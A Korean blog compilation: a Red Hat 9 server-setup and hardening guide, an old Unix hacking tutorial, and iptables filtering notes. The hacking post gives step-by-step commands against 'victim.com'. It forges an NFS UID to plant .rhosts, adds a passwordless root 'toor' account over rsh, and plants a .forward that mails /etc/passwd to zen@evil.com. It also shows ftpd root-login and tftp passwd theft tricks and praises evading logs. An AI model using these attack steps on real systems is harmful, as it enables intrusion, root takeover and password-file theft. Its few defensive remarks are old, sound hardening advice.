========================================= 새로운 사용자 추가 ========================================= 1. 사용자 ID : tinywolf 2. 전체 이름 : Jeong Seung-Dae 3. 암호 : 입력 됨 4. 초기 그룹 : sorii 5. 추가 그룹 : develop 6. 홈 위치 : /home/develop/tinywolf 7. 쉘 종류 : 기본 쉘 사용 8. 뼈대 복사 : no 스켈렉톤 디렉토리를 복사하지 않습니다. 9. 뼈대 위치 : 기본 위치 사용 10. 새 그룹 : no 사용자 ID와 같은 이름의 새 그룹을 만들지 않습니다. 11. UID : 기본값 사용 12.
Posted by tornado
1. ftp 보다 좋은 ncftp 설치
서버 작업을 많이하면, ftp를 많이 사용한다. 하지만 ftp 보다 사용하기 편한 ncftp를 알면 ftp 쓰는 것이 그렇게 불편하게 느껴질 수 가 없다. 난 처음부터 ncftp를 사용해 왔다. RH9에서는 기본설치가 안되어 따로 패키지를 받아서 설치 하겠다. 물론 배포판 CD에 있지만, 넣고 마운트하고 어쿠 어쿠 귀찮은 것~~ 간단하게 받아서 설치 할 것이다.
wget http://ftp.superuser.co.kr/pub/redhat/9/RPMS/ncftp-3.1.5-4.i386.rpm
위와같은 명령을 입력하면 받아진다.^^ 물론 내가 올려놓았다.
rpm -Uvh ncftp-3.1.5-4.i386.rpm
이렇게 하면 설치하고,
rm -rf ncftp-3.1.5-4.i386.rpm
이렇게 해서 원본 파일을 지워 버린다.^^ 이렇게 설치를 하면 끝이다. 아주 쉽다^^ 이제 ncftp 의 대표적인 기능 몇가지만 알아 보겠다.
[doly@doly ~]$ ncftp ftp.superuser.co.kr
NcFTP 3.0.3 (April 15, 2001) by Mike Gleason (ncftp@ncftp.com).
Copyright (c) 1992-2001 by Mike Gleason.
All rights reserved.
Connecting to ftp.superuser.co.kr...
ProFTPD 1.2.8 Server (ProFTPD Default Installation) [su21.nicekorea.co.kr]
Logging in...
Anonymous access granted, restrictions apply.
Logged in to ftp.superuser.co.kr.
ncftp / > 위와같이 간단하게 쳐 주면, 무명(anonymous) 로긴이 가능하다.
물론 -u 옵션을 주면 사용자로긴이 가능하다.
ncftp -u doly ftp.superuser.co.kr
그리구 파일이나, 디렉토리이름을 모두 칠 필요 없이 Linux 터미널 처럼 몇자 치고 Tab 키를 누르면, 자동완성이 된다. 이 기능이 아주 좋기 때문에 난 이 프로그램을 쓴다.
전송기능에 있어 다음과 같이 상황이 나온다.
ncftp /apache > get httpd-2.0.49.tar.gz
httpd-2.0.49.tar.gz: 5.65 MB 299.92 kB/s
이런 이유들 때문에 ncftp를 쓴다. ncget , ncput 등의 명령어도 제공된다. 그건 잘 쓰지 않지만 좋은 프로그램들이다.
2. MAN 페이지에서 한글이 깨어진다면.
아마 RH9를 설치한 모든 사람들이 격을 것이다. 멘 페이지에 가끔 한글로 된 것을 볼 수 있는데, 100% 깨어질 것이다. 다음 화면과 같이~^^
이렇게 알 수 없는 &&& 문자들로 이루어질 것이다.
이런 경우 다음 패키지를 깔면 문제가 없다.^^
[root@doly root]# wget http://ftp.superuser.co.kr/pub/redhat/9/less-378-8KR.i386.rpm
--21:33:50-- http://ftp.superuser.co.kr/pub/redhat/9/less-378-8KR.i386.rpm
=> `less-378-8KR.i386.rpm'
Resolving ftp.superuser.co.kr... 완료.
Connecting to ftp.superuser.co.kr[210.114.223.221]:80... connected.
HTTP 요청을 보냅니다, 서버로부터의 응답을 기다림...200 OK
길이: 100,767 [audio/x-pn-realaudio-plugin]
100%[=================================================================>] 100,767 289.43K/s ETA 00:00
21:33:50 (289.43 KB/s) - `less-378-8KR.i386.rpm'가 보존되었습니다 [100767/100767]
[root@doly root]# rpm -Uvh less-378-8KR.i386.rpm
준비 중... ########################################### [100%]
1:less ########################################### [100%]
[root@doly root]# rm -rf less-378-8KR.i386.rpm
이렇게 서치가 끝나고 실행해 보면 다음과 같은 결과를 볼 수 있다.
3. rpm으로 커널 업그래이드
2004년에 커널 버그가 엄청 많이 보고 되었다. 지금까지 나온 커널을 패치한 rpm 버전이 있다. 이것을 설치한다. 물론 조금 더 공부했다며, 최신 버전 커널을 컴파일 해서 설치하는 것도 좋지만, 시간이 너무 오래 걸리고, 알아야할 것도 많기 때문에 지금까지 나온 버그를 모두 고친 커널을 rpm 으로 설치한다.
wget http://ftp.superuser.co.kr/pub/redhat/9/update/kernel-smp-2.4.20-30.9.i686.rpm
wget http://ftp.superuser.co.kr/pub/redhat/9/update/kernel-2.4.20-30.9.i686.rpm
rpm -Uvh kernel-smp-2.4.20-30.9.i686.rpm
rpm -Uvh kernel-2.4.20-30.9.i686.rpm
rm -rf kernel-*.rpm
cpu 가 2개라면 smp 커널을 설치해야한다. 하지만 cpu가 하나라면, smp 는 설치하지 말아두 된다.^^
4. badblock 채크 및 마킹
설치할 때도 배드블락을 채크했을 것이다. 그렇지만 어디에 배드블럭이 있고 어떻게 되었는지에 대한 정보를 얻을 수 없다. 그래서 다시 배드블락을 채크할 것이다. 그리고 만약 발견된다면, 파일 시스템 수준에서 그 블락을 쓰지 못하게 마킹을 할 것이다.
[root@doly root]# badblocks -sv /dev/hda11
Checking for bad blocks in read-only mode
From block 0 to 2096451
Checking for bad blocks (read-only test): 2096451/ 2096451
2096449
2096450
done
Pass completed, 3 bad blocks found.
위와같이 3개의 배드블럭이 발견되었다면, 다음 명령어로 아쉬운데로 마킹을 한다. (fsck 명령의 -c 옵션)
[root@doly root]# fsck.ext3 -cvf /dev/hda11
e2fsck 1.32 (09-Nov-2002)
/dev/hda11 is mounted.
WARNING!!! Running e2fsck on a mounted filesystem may cause
SEVERE filesystem damage. Do you really want to continue (y/n)? yes
/123: recovering journal
Checking for bad blocks (read-only test): done
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information /123: ***** FILE SYSTEM WAS MODIFIED *****
/123: ***** REBOOT LINUX *****
78868 inodes used (30%)
98 non-contiguous inodes (0.1%)
# of inodes with ind/dind/tind blocks: 3503/14/0
325956 blocks used (62%)
0 bad blocks
0 large files 53903 regular files
3890 directories
2522 character device files
15884 block device files
1 fifo
4162 links
2658 symbolic links (2658 fast symbolic links)
1 socket
--------
83021 files
이렇게 작업을 하였다면, 어느정도 안심해두 된다고 생각한다^^; 5. tcp_wapper 설정으로 기본 보안 설정
물론 처음 설치시 iptabls(방화벽)을 구축했지만, tcpd를 사용하는 데몬들중 허용하는 ip에서만 접근 가능하게 설정 할 것이다.
echo "ALL:ALL" >> /etc/hosts.deny
이런 간단한 명령어로 모든 서비스를 막는다. 물론 막히는 서비스는 몇가지 안 된다^^ 다 열거하며 힘드니~~
그런다음 항상 허용할 데몬들과 허용할 ip를 등록한다.
echo " ipop3d : ALL
sendmail : ALL
ALL : 192.168.0." >> /etc/hosts.allow
위와 같이 입력하여, pop3 서버와 sendmail 은 모든 ip에 대해서 허용하고, 192.168.0.XXX에서 접근 하면 모든 서비스를 허용하도록 한다. 위와 같이 설정하는 것은 telnet 및 ssh에 가장 영향을 많이 받기 때문에 기본 보안설정으로 사용한다. 만약 유동 ip에서 접속한다면 이런 설정이 무의미 하다.^^; ip가 변해서 잘못하면 서버에 접속하지 못하는 불상사가 발생할 수도 있다. 6. ssh 접속시 root 접속 못하게 설정
ssh에서 root로 바로 접속해서 사용하면 너무 위험하다. 그래서 일반계정으로 접속한 다음 su - 명령어로 root 권한을 획득한 다음 작업하는 것이 좋다. 다음과 같이 간단하게 설정한다.
/etc/ssh/sshd_config 파일을 편집해서 다음과 같이 설정한다.
PermitRootLogin no
이렇게 하구 sshd를 재시작한다.
/etc/rc.d/init.d/sshd restart
7. su 명령어 특정 사용자만 실행 가능하게 설정
우선 root 권한으로 명령을 실행할 수 있는 명령어 sudo를 삭제한다.
[root@doly bin]# rm -rf /usr/bin/sudo
아래와같이 권한 설정을 바꾸고,
chmod 4750 /bin/su
chown root:wheel /bin/su
소유그룹을 wheel로 한다. 그런 다음
/etc/group 파일을 열어 wheel 그룹에 su 명령어를 쓸 사용자들을 등록한다.
(예 : wheel:x:10:root,doly)
9. 자동 시간 설정
자동으로 정확한 시간을 맞추는 것은 의외로 간단하다. 다음과 같이한다.
[root@doly bin]# crontab -e
05 00 * * * '/usr/bin/rdate -s time.bora.net && /sbin/clock -w'
위와 같은 내용을 복사해서 넣으면 된다. 위와같이 설정해 두면, 매일 매일 00시 05분에 time.bora.net에 접속하여 시간을 동기화한다.^^ 10. 일일 백업
이젠, 서버에서 가장 중요한 백업에 대한 설정을 하겠다. RAID로 구성되어 있다면 좋겠지만, 비용 문제 때문에 대부분 이 방법을 사용하지 않는다. 일반적인 방법은 하루에 한번정도 압축해 둔다. 시간은 제일 사용자가 없을 시간을 선택한다. 세벽 4시정도^^ 그리구 만약을 위해 누적 백업할 것이다. 디스크 용량이 충분하다면, 백업 데이터는 많이 가지고 있는 것이 좋다. 자.. 그럼 이런 백업 정책을 구상했다면 이 백업정책을 프로그램으로 짠다. 다음과 같이^^; 아래 내용을 /root/backup.sh 파일에 넣는다. #!/bin/bash
export Today="`date '+%y-%m-%d'`"
backup_dir="/backup/data"
backup_count="2" #### 백업본 보관 일 수 (2일간 보관) ########### delete 오래된 백업데이터 삭제
dirlists=`/bin/ls -t $backup_dir 2>/dev/null`
i=1
for dir in $dirlists ; do
if [ "$i" -ge $backup_count ] ; then
/bin/rm -rf "$backup_dir/$dir"
fi
i=$(($i+1))
done ################ 새로운 디렉토리 생성 ####
/bin/mkdir -p ${backup_dir}/$Today
cd ${backup_dir}/$Today ########### home 디렉토리에 사용자별로 백업을 한다.
dirlists=`/bin/ls -t /home 2>/dev/null`
for dir in $dirlists ; do
tar cvfpz ${backup_dir}/$Today/$dir.tar.gz /home/$dir
done
####### 기타 디렉토리를 백업한다
tar cvfpz ${backup_dir}/$Today/usr.local.tar.gz /usr/local
tar cvfpz ${backup_dir}/$Today/etc.tar.gz /etc
tar cvfpz ${backup_dir}/$Today/var.named.tar.gz /var/named
tar cvfpz ${backup_dir}/$Today/var.spool.mail.tar.gz /var/spool/mail ############# 링크를 만들어 준다.####
rm -rf /backup/today
ln -s ${backup_dir}/$Today /backup/today
위의 내용을 복사해서 넣는다. 그리구 실행권한을 준다.
[root@doly root]# chmod 700 /root/backup.sh
그 다음 새벽 4시에 자동실행되게 crontab에서 설정한다.
[root@doly bin]# crontab -e
00 04 * * * '/root/backup.sh | mail -s "백업결과보고" 메일주소'
백업 결과를 메일로 받을 것이다. 그렇기 때문에 위에 메일주소 부분을 받고자 하는 메일주소 바꿔줘야한다.
11. 일일 시스템 점검
일일 점검사항은 많으면 많을수록 좋다.^^ 서버에 들어와서 일일이 검사하면 좋겠지만. 여간 귀찮은 일이 아닐 수 없다. 그래서 기본적으로 관찰해야 할 놈들을 모아서 하루에 한번씩 실행한 다음 메일로 받아본다. 아래 내용을 /root/check.sh 파일에 넣는다. #!/bin/bash
echo -e "\n 1. 오늘날짜:"
date
echo -e "\n 2. 디스크 용량 점검 "
df -h
echo -e "\n 3. 포트 점검 "
netstat -an | grep LISTEN
echo -e "\n 5. /tmp 디렉토리 점검 "
ls -al /tmp
ls -al /var/tmp
echo -e "\n 6. /var/spool/mqueue 점검 (큐에 쌓인 메일 수 카운트==> 너무 많으면 문제) "
ls -l /var/spool/mqueue | wc -l
echo -e "\n 7. 실행 프로세스 점검 "
pstree
echo -e "\n 8. 최후 접속자 점검"
lastlog | grep -v "한번도"
위의 내용을 복사해서 넣는다. 그리구 실행권한을 준다.
[root@doly root]# chmod 700 /root/check.sh
그 다음 새벽 7시에 자동실행되게 crontab에서 설정한다.
[root@doly bin]# crontab -e
00 07 * * * '/root/check.sh | mail -s "시스템 점검 결과보고" 메일주소'
채크 결과를 메일로 받을 것이다. 그렇기 때문에 위에 메일주소 부분을 받고자 하는 메일주소 바꿔줘야한다.
12. 본 강좌를 마무리 하며 ...
서버 설치후에 손봐야 할 것이 한 두가지가 아니다. 내가 하는 것은 이 보다 더 많고 복잡하다. 하지만 최소한 해야 한다는 것은 올려 두었다. 위의 내용뿐 아니라 백업이나 점검 같은 경우는 필요하다면 추가해서 결과를 받아보는 것이 좋다.
지금 까진 기본 설정이 었다. 다음에도 강좌는 계속 이어진다. 본 강좌를 읽고 부디 도움이 되길 바란다. 힘들 게 쓴만큼^^
혹시 본 강좌에 대한 질문 및 문의사항이 있으면, 메일 한통 보내주기 바란다. 메일주소는 doly 골뱅이superuser.co.kr 이다. 메일 주소를 무단 수집해서 스팸메일을 보내는 이를 막기 위해서 위와 같이 표기했으며, 골뱅이 부분은 @ 치환하면 된다. 출처 : http://www.superuser.co.kr/
Posted by tornado
1. 다른 시스템의 남의 디렉토리 접근하기
먼저 showmount로 상대편 시스템의 디렉토리중 공개된 디렉토리를 찾는다.
evil % showmount -e victim.com
export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy easy
/export/swap/easy easy
위를 보면 공개된 디렉토리의 열거를 볼 수 있다. 요즘의 시스템에는 위와 같이 공개시키는 경우는 드물고, 있다하더라도 보통 은 /usr디렉토리 정도이다. 하지만 /usr디렉토리만 공개되어도 우리가 할 수 있는 목적은 충분히 달성할 수 있다.
다음으로 할 일은 자기의 시스템에 있는 디렉토리에 상대편의 공개된 디렉토리를 마운트 시키는 일이다. 이제부터는 최소한 루 트(root)의 권한이 있어야한다. 루트가 아니면 hacking도 못해먹는다. ''#''의 prompt표시는 루트의 prompt임을 모두 알것이다.
evil # mount victim.com:/usr /foo
evil # cd /foo
evil # ls -alg
total 3
1 drwxr-xr-x 11 root deamon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jun 19 1991 . .
1 drwx--x--x 9 10001 deamon 1024 Jun 3 15:49 guest
자 이제 상대편 디렉토리를 마운트 시켰고, 그 디렉토리를 들어가서 그 아래 guest라는 디렉토리가 있는 것을 볼 수 있다. 이 디렉토리는 1001의 UID를 갖는 사람의 소유임을 알 수 있고, 그 사람의 계정이 guest이고, home디렉토리가 바로 이 guest디렉토 리라는 것을 추정할 수 있다. 이제 목표가 정해졌다. 아직은 이 디렉토리의 접근 권한은 other의 권한밖에 없으므로 그 사람이 g uest디렉토리의 other접근 권한을 막아 놓았다면 아직은 그 디렉토리에 접근 할 수 가 없다. 이제 이 디렉토리의 접근 권한을 얻 어보자. 방법은 아주 간단하다. 자신의 시스템에 같은 UID를 갖는 사람의 계정을 하나 만들어 주고 내가 그 사람이 되는 거다 너 무나 우습게 쉬운 방법이다.
evil # echo guest:x:10001:1:temporary breakin account:/: >>/etc/passwd
evil # ls -alg
total 3
1 drwxr-xr-x 11 root deamon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jun 19 1991 . .
1 drwx--x--x 9 guest deamon 1024 Jun 3 15:49 guest
자신의 시스템에 같은 계정을 만들어주고 ls를 해보니 이제는 UID가 숫자로 나오지 않고, 계정으로 바뀌어 나온다. 이제 모든 준비는 끝났다. 내가 그 사람이 되어 그 사람 디렉토리를 마음대로 사용할 수 있다. 하지만 여기에 하나의 테크닉이 더 있다. 그 사람의 home디렉토리에 .rhost라는 파일에 자신의 서버이름을 적어 주면 다음 부터는 나의 시스템에서 그사람이 된 다음 바로 그 시스템으로 로그인을 할 수 있게 된다. 물론 패스워드가 필요없이... 그렇다면 지금 보다는 더 많은 일들을 그곳에서 할 수 있게된다. 자. 이제 마지막이다. 여기서 ''evil.com''은 내 시스템의 도메인 네임이다.
evil # su guest
evil % echo evil.com >> guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com!!
victim %
만약에 공개된 디렉토리가 /bin과 같이 실행 파일이 있는 디렉토리라면 당신은 그곳에 트로이 목마를 저장시켜 다른 사람으로 하여금 실행시킬 수 도 있을 것이다.
하지만 이 방법은 당신이 그 시스템에서 root의 권한을 가지지 못하기 때문에 당신이 그곳에 접속한 기록 파일을 지울 수 없다 . 그 쪽에서 마음만 먹으면 당신의 경로를 추적할 수도 있다.
부디 다른 시스템에 해가 되는 장난은 하지 말고 가벼운 실험에서 끝나기를 바란다. 이상.
2. 다른 시스템에서 root되기
이 방법이 통하는 시스템은 요즘은 거의 없다. 하지만 간혹 부실한 옛 컴퓨터에는 통할 지도 모르니 한 번쯤 도전해 봐도 좋다 . 성공한다면 당신은 그 시스템의 최고 권력자가 된다.
이 방법은 /etc/hosts.equiv에 "+"의 와일드 카드를 가지거나 약간의 버그로 인해 가능해지는데, 한마디로 루트가 아 닌 사람이 상대편 호스트로 패스워드 없이 로그인 해서 그곳의 /etc/passwd파일을 수정하는 것이다.
이 방법을 써먹기 위해서는 물론 당신이 자신의 시스템에서 루트이어야한다. 먼저 당신은 당신 시스템에서 bin이 된다. 그리고 상대편 호스트에 멋지게 로그인 한다음에 그곳의 패스워드 파일에 루트와 같은 UID를 가지는 자신의 계정을 추가 시킨 후 유유히 빠져나온다.
evil % whoami
bin
evil % rsh victim.com csh -i
Warning: no access to tty; thus no job control in this shell...
victim %
이제 당신은 상대편 시스템으로 들어왔다. 많은 일을 할 수는 없지만, 당신이 필요로 하는 일은 충분히 가능하다. 이제 /etc디렉토리에 있는 passwd파일에 자신의 계정을 써 넣는다. more나 vi 등의 명령은 통하지 않으니 아래의 방법을 권장한다.
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
victim % ^D
evil %
이제 모든 것이 끝났다. 당신의 막강한 루트권한을 가진 계정으로 접속을 해보아라.
evil % rlogin victim.com -l toor
Welcome to victim.com!
victim #
위의 방법은 시스템의 기록 파일들인 wtmp나 utmp에 기록을 남기지 않고, finger나 who등으로도 알아낼 수가 없기 때문에 꽤 쓸 만한 방법이다. 하지만, 이 방법에 의해 접근될만한 시스템이 현재는 많지 않다. 이 remote shell은 터미널 의존적이지 않기 때문에 앞에 말했듯이 vi나 more같은 스크린에 기반한 프로그램은 동작하지 않는다.
COPS라는 자체 보안 프로그램은 이러한 해킹에 드러난 취약점을 발견해주니 관리자는 한 번쯤 사용해 보기를 권한다. tcp wrapper같은 프로그램도 이러한 로그인을 발견할 수 있으니 관심있는 사람은 사용해 보세요.
3. FTP와 메일을 이용하여 상대편 호스트의 passwd파일 가져오기
이방법은 먼저 anonymous서비스를 해주는 ftp서버에서 ftp의 home 디렉토리가 요즘처럼 ~ftp/ 같이 따로 있지 않고 root디렉토 리에 있을 경우와 그 디렉토리에 파일을 올려놓을 수 있게 된 시스템에서만 가능하다.
여기서는 mail에서 사용되는 .forward파일을 사용한다. .forward는 어떠한 계정의 home디렉토리에 있으면서 그 계정으로 온 mail을 다른 곳으로 보내주는것에 대한 정보가 기록된다.
당신은 먼저 ftp에 접속을 한다. 그러면 로그인 된 디렉토리는 그곳의 root디렉토리일 것이고, 그곳의 /etc에는 passwd파일이 있을 것이다. 이것을 가져오는 것이다. 그곳 ftp의 home디렉토리, 즉 root디렉토리에다 당신이 그곳에 접속하기전에 미리 만들어 놓은 파일을 .forward라는 이름으로 올려놓는다. 그러면 이제 passwd파일을 가져오기 위한 준비가 끝난다. 여기서 zen은 자신의 호스트에 있는 자신의 계정이다.
가장 먼저 .forward로 올려지게 될 파일을 작성한다.
evil % cat forward_suck_file
"|/bin/mail zen@evil.com < /etc/passwd"
이제 ftp서버에 접속해서 이 파일을 .forward라는 이름으로 ftp의 home디렉토리에 올려놓는다.
evil % ftp victim.com
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen) : ftp
331 Guest login ok, send ident as password.
password:
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 byte).
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 . .
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.
242 byte received in 0.066 seconds (3.6 Kbyte/s)
ftp> put forward_sucker_file .forwar
d
43 byte sent in 0.0015 seconds (28 Kbyte/s)
ftp> quit
evil %
자 이제 그곳의 ftp에게 편지를 보내보자 당신이 올려놓은 .forward파일에 의해 그곳의 passwd파일이 당신에게 mail로 전달될 것이다.
evil % echo test | mail ftp@victim.com
COPS라는 자체 보안 프로그램은 당신의 시스템에 이러한 FTP의 구멍이 있는지를 점검해준다. 이러한 취약점은 100% 관리자의 소홀이다. ftp의 home디렉토리를 따로 ~ftp/에 만들어 주든지 각 디렉토리와 파일의 접근 권한을 적절히 지정해 준다면 절대 일어나지 않을 hacking방법이다 4. FTP에서 root권한을 가지는 옛날 방법
이 방법은 ftp에서 root의 권한을 획득하는 오래전의 방법이다. 물론 당신의 시스템이 아직도 이런 bug를 가진 ftpd로 구동되고 있다면 ftpd를 빠른 시일내에 업그레이드 시켜야 할 것이다. 해킹 방법은 간단하다. 아래와 같이 몇줄의 간단한 명령으로 끝이난다 .
evil % ftp -n
ftp> open victim.com
connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restriction apply.
ftp> ls -al / (or whatever)
만약에 위의 방법이 성공되었다면, 당신은 ftp에 root의 권한으로 login된 것이다. 당신은 ftp의 모든 기능을 활용해 passwd파 일을 바꾸거나 당신이 원하는 모든일을 할 수 있다.
이제는 이런 버그를 가진 시스템이 없겠지만 아직도 있다면 부디 각성바란다.
5. tftp로 상대 호스트의 passwd파일 가져오기
ftp와 비슷한 프로그램으로 tft나 기타 기본적인 기능을 가진 파일전송 프로그램이 있다. 이 데몬은 확인을 위해 비밀번호를 요구하지 않는다. 만약에 그 시스템에서 특별히 접근권한을 제한하지 않았다면 당신은 그 시스템에 읽거나 쓰기를 마음대로 할 수 있다. 아래와 같이 하면 간단히 자신의 /tmp 디렉토리로 상대 호스트의 /etc/passwd 파일을 가져올 수 있다.
evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit
위에서와 같은 도둑질을 막기 위해서는 역시 간단하다. tftp같은 프로그램을 사용하지 못하게 하면 된다. tftp가 꼭 필요하다면 , 안전을 위해 플래그나 옵션 등을 적절히 사용하여 접근 권한을 제한하거나, chroot wrapper 프로그램의 관리 아래에 두면 된다
Posted by tornado
1. ‘Packet Filtering’? Packet filter는 지나가는 packet header를 살펴보고 그 전체 packet의 운명을 결정하는 소프트웨어의 일부이다. 이것은 packet을 'DROP'(즉, 마치 전혀 전달되지도 못 했던 것처럼 packet을 거부) 하던가, 'ACCEPT'(즉, packet이 지나가도록 내버려 둠) 하던가 또는 다른 더욱 복잡한 무엇을 할 것인가를 결정할 것이다. 2. ‘Packet Filtering’은 왜 필요한 것인가? 1) 제어 내부 네트워크에서 다른 네트워크로 인터넷을 이용하여 접속을 하고자 할 때 어떤 형태의 전송은 가능하게 하고 다른 것은 불가능하게 할 수 있다. 예를 들어, packet header에는 목적지의 주소를 포함하고 있고 이것으로 packet이 바깥 네트워크의 다른 곳으로 가지 않도록 한다. 다른 예로, 나는 인터넷으로 스포츠 신문을 보기 위해 Explorer를 이용하는 상황을 생각해 보자. 그곳의 웹 페이지에는 NATE의 광고가 있고 Explorer는 그 광고를 받기 위하여 나의 시간을 소비한 다. Nate.com의 주소로 가거나 또는 그곳에서 오는 어떠한 packet도 허락하지 않도록 packet filter에게 이야기 해 놓음으로 이 문제를 해결할 수 있다. 2) 보안: 컴퓨터 network는 누구나 사용할 수 있는 것이기 때문에 외부로부터 자신의 컴퓨터 시스템을 보호해야 한다. 그러기 위해서는 건물에 경비 아저씨가 있는 것처럼 나쁜 정보나 불확실한 의도를 가진 것들을 내 컴퓨터에 들어오기 전에 미리 차단하는 것이 필요하다. 따라서 어떠한 정보는 허용하고 어떠한 것은 차단하는 방법이 요구된다. 예를 들어, 여러분은 여러분의 네트워크로부터 나가는 모든 것을 허용하고 싶지만, 반면에 밖으로부터 들어오는, "죽음의 핑" 같은, 악의 있는 것에 대하여는 차단해야 한다. 다른 예로, 아무리 여러분 리눅스 박스의 모든 계정사용자가 암호를 가지고 있다고 하더라도 바깥으로부터의 telnet 시도는 바라지 않을 것이다. 대부분의 사람들처럼 인터넷에서 구경꾼 이 되고 싶고 제공자는 되고 싶지 않을 것이다. 간단히 말해서, 접속 중에 모든 들어오려는 packet을 packet filter를 이용하여 거부하려고 할 것이다. 3) 관찰가능성 가끔 잘못 설정된 지역네트워크는 packet을 바깥세상으로 토해놓는다. Packet filter에게 어떠한 이상한 일이라도 일어나면 시스템 혹은 사용자에게 알려 주도록 말해 두는 것은 근사한 일이다. 이런 일에 대하여 무엇인가를 할 수도 있고 그냥 '이상한 일이네' 하고 넘길 수도 있다. 내 컴퓨터에서 유입 혹은 유출되고 있는 정보에 대한 monitoring을 할 수 있다는 점에서 유용하다. 3. Filtering Factors 1) Protocol 프로토콜은 '-p' 지시자로 지정할 수 있다. 프로토콜을 숫자가 될 수 있고 (IP의 프로토콜 번호를 알고 있다면) 'TCP', 'UDP', 'ICMP' 같은 이름이 될 수도 있다. 그리고 'tcp'는 'TCP'와 같은 역할을 한다. 프로토콜 이름 지정에 '!'을 이용할 수 있다. '-p ! TCP' Ex) ./iptables –A INPUT –p TCP –j DROP è 들어오는 모든 TCP packet을 차단 - extension option – ① TCP Extension --tcp-flags : '!' 옵션을 사용한다면 이것 뒤에 두 개의 단어를 사용한다. 첫 번째 것은 검사하고자 하는 지시자 리스트의 마스크이다. 두 번째 단어는 지시자에게 어떤 것이 설정 될 것인지를 말해준다. 예를 들어, # iptables -A INPUT –p tcp --tcp-flags ALL SYN,ACK -j DENY 이것은 모든 것이 검사되어야 함을 말한다.('ALL'은 `SYN,ACK,FIN,RST,URG,PSH' 와 같다.) 그러나 SYN 과 ACK 만 설정된다. 'NONE'는 지시자가 없음을 말한다. --syn : '!' 옵션이 선행될 수 있다. 이것은 '--tcp-flags SYN,RST,ACK,SYN'의 약어이다. SYN flag가 붙어있는 packet은 Connection 초기화 packet으로서 처음 서비스를 요청할 때 SYN packet이 오게 된다. SYN packet만 막으면 자신은 다른 곳으로부터 서비스 되는 packet을 받을 수 있으면서, 자기 컴퓨터로 들어오는 서비스 요청은 차단할 수 있다. ② ICMP Extension --icmp-type : '!' 옵션이 선행될 수 있다. 이후에 ICMP 타입의 이름('host-unreachable') 이나 숫자형태 ('3'), 또는 숫자형태와 코드('/'로 분리 예. '3/3') 의 형 태가 사용된다. 사용할 수 있는 ICMP 형태의 이름의 리스트는 '-p icmp --help' 하면 나타난다. 2) Port 기본적으로 하나의 source-port 혹은 하나의 destination-port에 대해 filtering 할 수 있고, 추가적인 module을 사용하면 한 번에 여러 개의 port를 동시에 지정할 수 있고, source & destination port를 모두 차단할 수 있다. --source-port : '!' 옵션이 선행될 수 있다. 이후에 하나의 TCP 포트나 포트의 범위를 지정한다. /etc/services 에 기록된 것과 같은 포트 이름이 사용될 수 도 있고 숫자로 나타낼 수도 있다. 범위는 두개의 포트 이름을 '-' 으 로 연결해서 사용하거나 (크거나 같은 경우를 위해서) 하나의 포트 뒤에 '-'를 사용하거나 (작거나 같은 경우를 위해서) 하나의 포트 앞에 '-' 를 덧붙일 수 있다. --sport : 이것은 '--source-port'와 동의어이다. --destination-port 와 --dport 는 위의 내용과 같으나 목적지를 지정한다. Port 지정에는 port 번호를 직접 써도 되고 service의 이름을 사용할 수도 있다. Ex) http, telnet, ftp, smtp, rlogin, rsh 등등 l mport patch 포트를 여러 개를 동시에 지정해서 명시한다. Ex) –m mport –ports 20:23, 80... è 20-23, 80 번 port를 차단 (source, destination 동시) ♦ 사용법 -m mport + --source-ports xxxx (source port filtering) --destination-ports xxxx (destination port filtering) --ports xxxx (source와 destination 둘 다) 3) IP packet의 source IP 혹은 destination IP로부터 filtering이 가능하다. ① source IP : xxx IP로부터 오는 모든 packet을 filtering한다. Ex) ./iptables –A INPUT –s 141.223.201.119 –j DROP è 141.223.201.119에서 오는 모든 packet을 차단한다. ② Destination IP : 목적지가 xxx IP인 모든 packet을 filtering한다. Ex) ./iptables –A INPUT –d 141.223.201.119 –j DROP è 141.223.201.119로 가는 모든 packet을 차단한다. ③ 여러 개의 IP 동시 지정하기 : 한 개의 IP일 경우 그냥 써준다. : 여러 개의 IP 동시 지정. 200.200.200.0/24 와 같이 설정한다면 200.200.200.* 에 해당하는 모든 IP. 각 4부분을 8 비트로 보고, 24는 앞의 3부분의 IP가 같은 모든 IP를 뜻한다. 4) INTERFACE 컴퓨터가 Local Area Network (LAN)에 있고 인터넷 접속이 가능하다고 가정하면 LAN은 eth0로 Internet 연결은 ppp0로 구분할 수 있다. ¨ 사용법 i) input interface : -i option + eth0, ppp0, lo (localhost) ii) output interface : -o option ex) telnet service를 LAN 상의 컴퓨터에게는 허락하고, Internet 상에서는 연결할 수 없도록 하고 싶다면, ./iptables –A INPUT –p tcp –destination-port telnet –I ppp0 –j DROP 5) SPI (security parameter index) ``ah'' : Security Parameter Index (SPI)에 기초한 AH 패킷을 match할 수 있도록 한다. ``esp'' : SPI에 기초한 ESP 패킷을 match할 수 있도록 한다. # iptables -A INPUT -p 51 -m ah --ahspi 500 -j DROP è 500과 일치하는 SPI를 가지는 모든 AH 패킷을 DROP 시킨다. ah match가 지원하는 옵션 : --ahspi [!] spi[:spi] -> match spi (range) esp match가 지원하는 옵션 : --espspi [!] spi[:spi] -> match spi (range) 6) The Number Of Connection Iplimit module을 사용해서 특정 host나 network로부터의 TCP 연결 개수를 제한할 수 있 다. ¨ 사용법 -m iplimit + --iplimit-above N (숫자) --iplimit-mask N ( ex. 8 : Class 